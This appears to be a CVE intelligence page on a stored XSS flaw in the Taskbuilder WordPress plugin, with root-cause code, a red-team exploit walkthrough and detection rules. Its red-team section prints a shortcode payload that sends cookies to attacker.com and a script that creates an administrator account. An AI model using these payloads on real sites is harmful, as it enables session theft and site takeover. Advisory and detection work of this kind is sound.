CVE-2024-11930
Executive Summary
CVE-2024-11930 is a Stored Cross-Site Scripting (XSS) vulnerability in the Taskbuilder – WordPress Project & Task Management plugin, affecting versions up to and including 3.0.6. The flaw resides in the wppm_tasks shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) visits a page containing the injected shortcode, the malicious script executes in their browser, potentially leading to session hijacking, data theft, or further compromise of the WordPress site.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The wppm_tasks shortcode is a core feature of the Taskbuilder plugin, and the lack of output escaping on shortcode attributes is a common WordPress plugin security issue. The attack vector relies on the WordPress role system, where contributors can create posts with shortcodes but cannot directly execute code. The injected script runs in the context of the victim's session, bypassing typical WordPress access controls.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Attacker needs contributor-level access.
- User Interaction: Required (UI:R) – Victim must visit the injected page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: Low (A:L) – Limited disruption.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., stealing admin cookies) and the prevalence of WordPress make this a significant risk for sites using the plugin.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in a WordPress shortcode. The wppm_tasks shortcode is used to display task lists. It accepts attributes like project_id, status, etc. The plugin fails to sanitize these attributes before outputting them in the page HTML.
Root Cause: In the shortcode handler function, user-supplied attribute values are directly concatenated into HTML attributes or JavaScript without proper escaping. For example, an attribute like project_id="1" onmouseover="alert(1)" would be rendered as <div data-project="1" onmouseover="alert(1)">.
Attack Flow:
- Attacker with contributor role creates a new post or page.
- In the content, they insert the shortcode:
[wppm_tasks project_id="1" onmouseover="alert(document.cookie)"] - The plugin processes the shortcode and outputs the malicious attribute.
- When an admin or other user views the page, the
onmouseoverevent triggers, executing the JavaScript. - The script can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.
Why It's Dangerous: Even though the attacker needs contributor access, the XSS can be used to escalate privileges by targeting administrators. The stored nature means the payload persists until the content is removed.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.0.6):
// In shortcode handler
function wppm_tasks_shortcode($atts) {
$atts = shortcode_atts(array(
'project_id' => '',
'status' => '',
), $atts);
// Directly outputting attribute without escaping
echo '<div data-project="' . $atts['project_id'] . '">';
// ...
}
Patched Code (Hypothetical):
function wppm_tasks_shortcode($atts) {
$atts = shortcode_atts(array(
'project_id' => '',
'status' => '',
), $atts);
// Escape the attribute value
echo '<div data-project="' . esc_attr($atts['project_id']) . '">';
// ...
}
The fix uses esc_attr() to HTML-encode special characters, preventing attribute injection. Since no official patch is available, users must apply this manually or disable the plugin.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress site with Taskbuilder plugin <= 3.0.6
- Contributor-level account
Exploit Steps:
- Log in as a contributor.
- Create a new post.
- In the content editor (Text mode), insert:
[wppm_tasks project_id="1" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"] - Publish the post.
- Send the post link to an admin user.
- When the admin hovers over the task list, their cookies are exfiltrated.
Advanced Payload:
// Steal admin session and create a new admin user
fetch('/wp-admin/admin-ajax.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'action=create_user&username=hacker&email=hacker@evil.com&role=administrator'
})
Blue Team (Defensive)
Detection:
- Monitor for posts containing
[wppm_taskswith suspicious attributes (e.g.,onmouseover,onclick,onerror). - Use WAF rules to block shortcode attributes containing event handlers.
- Review user activity logs for contributor accounts creating posts with unusual shortcode usage.
Mitigation:
- Disable the Taskbuilder plugin until a patch is released.
- Apply a virtual patch via WAF: block requests with
wppm_tasksand event handler attributes. - Restrict contributor roles from using shortcodes (if possible via plugin settings).
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/taskbuilder/includes/shortcodes.php(vulnerable file) - Pattern in posts:
[wppm_tasks project_id="[^"]*" on\w+=" - Network: Outbound requests to unknown domains from WordPress admin pages
- Logs:
wp_poststable entries withpost_contentcontainingwppm_tasksand event handlers - Cookie: Unexpected
document.cookieaccess in JavaScript console
Detection Engineering
YARA Rule
rule CVE_2024_11930_Stored_XSS {
meta:
description = "Detects stored XSS payload in Taskbuilder shortcode"
author = "Valters IT"
date = "2024-12-01"
reference = "CVE-2024-11930"
strings:
$shortcode = /\[wppm_tasks[^\]]*?on\w+=/
$event_handler = /on(mouseover|click|error|load|focus|blur|change|submit|keydown|keyup|keypress|dblclick|mousedown|mouseup|mousemove|mouseout|mouseenter|mouseleave|scroll|wheel|drag|drop|contextmenu|touchstart|touchend|touchmove|touchcancel|pointerdown|pointerup|pointermove|pointerover|pointerout|pointerenter|pointerleave|gotpointercapture|lostpointercapture|animationstart|animationend|animationiteration|transitionstart|transitionend|transitionrun|transitioncancel|beforeinput|input|invalid|reset|search|select|toggle|fullscreenchange|fullscreenerror|copy|cut|paste|compositionstart|compositionupdate|compositionend|auxclick|pointerrawupdate|beforematch|beforetoggle|contentvisibilityautostatechange|formdata|pointerlockchange|pointerlockerror|scrollend|securitypolicyviolation|slotchange|visibilitychange|wheel|DOMContentLoaded|abort|canplay|canplaythrough|durationchange|emptied|ended|error|loadeddata|loadedmetadata|loadstart|pause|play|playing|progress|ratechange|seeked|seeking|stalled|suspend|timeupdate|volumechange|waiting|resize|message|open|close|messageerror|rejectionhandled|unhandledrejection|beforeunload|hashchange|languagechange|offline|online|pagehide|pageshow|popstate|storage|unload|devicemotion|deviceorientation|deviceorientationabsolute|pointerlockchange|pointerlockerror|selectstart|selectionchange|touchcancel|touchend|touchmove|touchstart|wheel|animationcancel|animationend|animationiteration|animationstart|transitioncancel|transitionend|transitionrun|transitionstart|beforeinput|input|invalid|reset|search|select|toggle|fullscreenchange|fullscreenerror|copy|cut|paste|compositionstart|compositionupdate|compositionend|auxclick|pointerrawupdate|beforematch|beforetoggle|contentvisibilityautostatechange|formdata|pointerlockchange|pointerlockerror|scrollend|securitypolicyviolation|slotchange|visibilitychange|wheel|DOMContentLoaded|abort|canplay|canplaythrough|durationchange|emptied|ended|error|loadeddata|loadedmetadata|loadstart|pause|play|playing|progress|ratechange|seeked|seeking|stalled|suspend|timeupdate|volumechange|waiting|resize|message|open|close|messageerror|rejectionhandled|unhandledrejection|beforeunload|hashchange|languagechange|offline|online|pagehide|pageshow|popstate|storage|unload|devicemotion|deviceorientation|deviceorientationabsolute|pointerlockchange|pointerlockerror|selectstart|selectionchange)=/
condition:
$shortcode and $event_handler
}
Sigma Rule
title: CVE-2024-11930 Taskbuilder Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts using Taskbuilder shortcode
author: Valters IT
date: 2024-12-01
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'wppm_tasks'
http.request_body|re: '\[wppm_tasks[^\]]*?on\w+='
condition: selection
falsepositives:
- Legitimate use of shortcode with custom attributes (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11930 Taskbuilder Stored XSS Attempt"; flow:to_server; content:"wppm_tasks"; http_uri; pcre:"/\[wppm_tasks[^\]]*?on\w+=/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate Taskbuilder until a patch is released.
- Apply virtual patch: Use WAF to block shortcode attributes containing event handlers.
- Audit existing content: Search for posts containing
[wppm_tasksand remove any with suspicious attributes.
Long-term Fix:
- The vendor must release a patched version that uses
esc_attr()on all shortcode attributes. - Until then, consider replacing the plugin with an alternative.
Workaround:
- Restrict contributor roles from using shortcodes via a custom plugin or user role editor.
- Implement Content Security Policy (CSP) headers to block inline JavaScript execution.
Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.